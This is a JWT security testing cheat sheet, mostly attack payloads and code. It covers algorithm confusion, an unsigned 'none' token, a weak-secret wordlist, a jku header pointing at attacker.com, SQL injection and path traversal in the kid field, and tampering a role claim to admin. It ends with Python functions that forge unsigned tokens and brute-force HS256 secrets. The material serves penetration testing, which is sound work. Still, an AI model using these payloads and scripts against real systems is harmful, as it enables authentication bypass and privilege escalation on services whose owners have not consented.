JWT (JSON Web Token) security testing methodology
JWTs are used for authentication and authorization. Weak implementations can lead to authentication bypass.
header.payload.signature
# Example:
eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9.
eyJzdWIiOiIxMjM0NTY3ODkwIiwibmFtZSI6IkpvaG4ifQ.
Gfx6VO9tcxwk6xqx9yYzSfebfeakZp5JYIgP_edcw_A
Change algorithm from RS256 to HS256, use public key as secret.
# Original header
{"alg": "RS256", "typ": "JWT"}
# Modified to:
{"alg": "HS256", "typ": "JWT"}
# Sign with public key as HMAC secret
# Change header to:
{"alg": "none", "typ": "JWT"}
# Remove signature:
eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0.eyJzdWIiOiIxMjM0NTY3ODkwIn0.
Common secrets:
secret
password
123456
your-256-bit-secret
jwt-secret
// Inject your own key URL
{"alg": "RS256", "jku": "https://attacker.com/jwks.json", "typ": "JWT"}
// SQL Injection in kid
{"alg": "HS256", "kid": "key1' UNION SELECT 'my-secret'--", "typ": "JWT"}
// Path traversal
{"alg": "HS256", "kid": "../../dev/null", "typ": "JWT"}
# Check if expired tokens still work
# Modify exp claim to past timestamp
// Original
{"sub": "user123", "role": "user"}
// Modified
{"sub": "user123", "role": "admin"}
# Decode header (base64)
echo "eyJhbGciOiJIUzI1NiJ9" | base64 -d
import jwt
import base64
import json
def test_jwt_none(token):
"""Test None algorithm attack"""
parts = token.split('.')
# Decode header
header = json.loads(base64.urlsafe_b64decode(parts[0] + '=='))
payload = json.loads(base64.urlsafe_b64decode(parts[1] + '=='))
# Change to none algorithm
header['alg'] = 'none'
# Encode new token without signature
new_header = base64.urlsafe_b64encode(json.dumps(header).encode()).rstrip(b'=')
new_payload = base64.urlsafe_b64encode(json.dumps(payload).encode()).rstrip(b'=')
return f"{new_header.decode()}.{new_payload.decode()}."
def bruteforce_secret(token, wordlist):
"""Brute force JWT secret"""
for secret in wordlist:
try:
jwt.decode(token, secret, algorithms=['HS256'])
print(f"[+] Found secret: {secret}")
return secret
except:
pass
return None